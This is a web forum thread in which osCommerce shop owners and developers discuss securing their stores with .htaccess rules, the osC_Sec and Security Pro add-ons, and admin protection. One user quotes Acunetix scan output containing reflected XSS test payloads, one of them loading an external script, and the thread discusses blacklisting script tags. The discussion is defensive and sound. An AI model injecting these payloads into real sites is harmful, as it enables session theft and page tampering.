83 replies to this topic

[Taipo]

osC_Sec will end the page load if an attack is detected and send the browser/client a 403 ban request header, irregardless of whether you enable $banipaddress or not.

[Juto]

A nice addendum to htaccess: Apache

[blueedge]

Quote

4. Add htaccess to all public folders {
2.2rc2a and lower
a. If you still run pre 2.3.1 cart, use the .htaccess files from a 2.3.1 installation.
Example: https://github.com/o...mages/.htaccess
}

I have an htaccess file for the root directory. However, I’m not exactly sure what should be in it. Are there any examples as to what to include in the htaccess for the root?

I have installed the htaccess file recommended for the catalog/images directory. It contains the following:

# .htaccess to prevent directory listing
IndexIgnore *

# This is used to restrict access to this folder to anything other than images
# Prevents any script files from being accessed from the images folder
<FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$">
   Order Deny,Allow
   Deny from all
</FilesMatch>

I have also seen the following recommended for the catalog/images directory:

php_flag engine off
<Files ~ "\.(php*|s?p?html|cgi|pl|ini)$">
deny from all
</Files>

Should I include the "php_flag engine off" in the htaccess file for the images directory?

I'm confused about the term "pubic folder." Other than the image directory, what directories are considered “public folders?” I understand the need to protect the images directory from hidden executable code. Should the htacces used in the images folder also be used in other "public folders" or do other public folders require a different type of htaccess file?

Sorry for showing my ignorance. I just want to get it right. Thank you for your help.

[burt]

My advice would be to copy the htaccess files from a 231 installation.

[furhead]

burt, on 24 May 2011, 10:48, said:

I got 3/4 the way through a more detailed update to this, then the laptop died

Cruel bots!!!!!

[Biancoblu]

Quote

7. Add extra login parameter (JanZ) {
2.3.1 and lower
a. link - scroll down to "admin/includes/application_top.php Line 146-151" and start reading.
}

probably a stupid question, but what does this do exactly?

[burt]

Isa - helps to ensure that admin log in can only be performed at the login page, and not elsewhere.

[Biancoblu]

Gary

thanks very much for the info , thanks also for this useful thread.

[Biancoblu]

could I have some advice on what kind of .htaccess file to add to a videos directory?
I thought of using the same .htaccess that's in the images directory, what are your thoughts?

[burt]

Isa - using the same one as is the images fodler would prevent scripts uploaded from being run (which is a good thing to do).

[Biancoblu]

Gary

thanks for replying, I'm assuming I did the correct thing then.

What about the ext folder? In the original 2.3.1 package I see it's got no .htaccess, should it have one?

[smiler99]

Hi

i have installed Security Pro, added htaccess updates, upgraded from 2.2rc2 to 2.3 and then ran a xss test using Acunetix (free version)

results are a phenominal number of high level risks (thousands!!).

using contact_us.php as an example page

Having tested Security pro using the test mask of [w](o)%3Cr%3Ek|i*n^g in the full name field and also the enquiry field and the email address field neither change to 'working' after submitting

i also used the test code that Acunetix used (1<script>prompt(976805)</ScRiPt>) and that does not get cleansed in any of the 3 fields

Acunetix shows the following for contact_us.php

This vulnerability affects /contact_us.php.
Discovered by: Scripting (XSS_in_URI.script).
The impact of this vulnerability
Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

Attack details
URI was set to 1<script>prompt(976805)</ScRiPt>
The input is reflected inside a text element.
The input is reflected inside a tag element between double quotes.

http header contains ... GET /contact_us.php/1<script>prompt(976805)</ScRiPt> HTTP/1.1

also for contact_us.php

Attack details

URL encoded POST input email was set to '"()&%1<script >prompt(928175)</ScRiPt>

http header contains ... POST /contact_us.php?action=send HTTP/1.1

with a variable showing email=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28928175%29%3c%2fScRiPt%3e&enquiry=&name=qjfpqnop


how can i know for sure that the security i have added are working, or they are not working

I am fairly adept with OSc can usually debug / trace php ( 3 year using, many upgrades and mods without Major issues)

Stumped on this one.

[Taipo]

smiler99, on 06 August 2011, 21:04, said:

i have installed Security Pro, added htaccess updates, upgraded from 2.2rc2 to 2.3 and then ran a xss test using Acunetix (free version)

results are a phenominal number of high level risks (thousands!!).

Most scanners will give results like that. Not all of them are real threats, most give results of what they believe could be a threat.

smiler99, on 06 August 2011, 21:04, said:

using contact_us.php as an example page

Having tested Security pro using the test mask of [w](o)%3Cr%3Ek|i*n^g in the full name field and also the enquiry field and the email address field neither change to 'working' after submitting

Neither FWR Security Pro or osC_Sec whitelist filter the contents of POST data.

smiler99, on 06 August 2011, 21:04, said:

i also used the test code that Acunetix used (1<script>prompt(976805)</ScRiPt>) and that does not get cleansed in any of the 3 fields...

osC_Sec would catch all the rest (well the latest versions would)

smiler99, on 06 August 2011, 21:04, said:

how can i know for sure that the security i have added are working, or they are not working

I am fairly adept with OSc can usually debug / trace php ( 3 year using, many upgrades and mods without Major issues)

Stumped on this one.

If you install osC_Sec then you can set the email notification to allow you to receive an email log of attacks osC_Sec has blocked. The whitelisting side of osC_Sec works mostly the same way as the whitelisting in FWR Medias Security Pro, so you can choose to use either method, to turn it off in osC_Sec set $GETcleanup = 0; but I have also added most of the specific attack phrases to a series of blacklists to catch attack data being posted from 'forms'.

Try it out if you want and let us know if it bans those POST request items.

Edited by Taipo, 07 August 2011, 02:26.

[smiler99]

Hi Taipo

I have installed OSC_Sec (and for those that have some slight descrepecies in \includes\Application_Top.php)

this is the code i had in application_top which i removed

// set php_self in the local scope
 // commented out for OSC_SEC  $PHP_SELF = (((strlen(ini_get('cgi.fix_pathinfo')) > 0) && ((bool)ini_get('cgi.fix_pathinfo') == false)) || !isset($HTTP_SERVER_VARS['SCRIPT_NAME'])) ? basename($HTTP_SERVER_VARS['PHP_SELF']) : basename($HTTP_SERVER_VARS['SCRIPT_NAME']);

and replaced with

// set php_self in the local scope
  if( !isset( $PHP_SELF ) ) {
    if ( @phpversion() >= "5.0.0" && ( !ini_get("register_long_arrays" ) || @ini_get("register_long_arrays" ) == "0" || strtolower(@ini_get("register_long_arrays" ) ) == "off" ) ) $HTTP_SERVER_VARS = $_SERVER;
    $PHP_SELF = ( ( ( strlen( ini_get('cgi.fix_pathinfo' ) ) > 0 ) && ( ( bool ) ini_get('cgi.fix_pathinfo' ) == false ) ) || !isset( $HTTP_SERVER_VARS['SCRIPT_NAME' ] ) ) ? basename( $HTTP_SERVER_VARS[ 'PHP_SELF' ] ) : basename( $HTTP_SERVER_VARS[ 'SCRIPT_NAME' ] );
  }

Now - Results!

Sec_pro succesfully produced a significant drop in vulnarability Alerts, infact if fixed all vunerabilities with the exception of one

any attack that uses 1<script/acu src=//testphp.vulnweb.com/xss.js?993871></ScRiPt> remained an issue, having looked at the post blacklistings in OSC_Sec.php i can see that this attack is not covered, i dont see any blacklist that captures <script>, i suspect this is known but i dont understand why it would be missing, i cant see any reason for <script> being used in any input form - Taipo can you advise if there are any reason why i shouldnt add a check for <script> in the blacklist

1 last point - whilst testing, switch of ipban / htaccess ban or add your ip to the exclude list otherwise you keep banning yourself and have to remove your ip from the ban list!!

[Taipo]

The problem with adding <script> to the blacklist of postShield is that there are too many functions in osCommerce that will be caught thus causing false positive bans. Too many users still use the file manager and many also use the define languages functions which in their operation will post the entire contents of php files within the osCommerce repository including codes that have legitimate script tags in them.

If you do not use those two functions within osCommerce then add in </script to $oscsec_postb64_blacklist and $oscsec_getVar_blacklist blacklists

To your last point, if you are testing osC_Sec with legitimate hack vectors then your IP address will be banned because that is basically what osC_Sec does, it catches hack attempts and bans the IP address. If its just testing you need then disable the $banipaddress switch and osC_Sec will merely call a page die() instead rather than adding IPs to the root .htaccess

[Taipo]

The other point is with the $PHP_SELF code. Since osC_Sec was written for earlier versions of osCommerce than 2.3.1, you could just leave the original $PHP_SELF code in since it does a pretty good job of determining the filename. But on that issue of $PHP_SELF, that really is the crux of the security issues that face osCommerce in the first place. The two major security holes in earlier versions than 2.3.1 are the misreporting $PHP_SELF code and a hole in FCKEditor (an editor that has been added to some versions of osCommerce) which allows for file uploading.

Putting user authentication protection on the admin directory is the best policy, and you can also change the name of the admin directory as an added security.

Edited by Taipo, 07 August 2011, 20:44.

[smiler99]

Quote

Putting user authentication protection on the admin directory is the best policy, and you can also change the name of the admin directory as an added security.

already done , 3 years in and i cross my fingers that i have not had any hacks, (plenty of attempts but nothing thats taken over)

im simply looking to ensure that any PCI compliance passes, and to continue to be one step ahead where i can to ensure google never gets the opportunity to flag my site as containing malicious code.

[Biancoblu]

Is Anti XSS by Spooks still recommended for 2.3.1?

[Mort-lemur]

Hi Gary,

On the X-Mailer subject....

the script above works great, but the admin name is still sent through on the email sent from Recover Cart Sales which is generated in recover_cart_sales.php

How should the code be amended to stop this??

Thanks

[burt]

Isa - not needed in my opinion.

Heather - find the "mail" line in the file and change it in the exact same way as for the others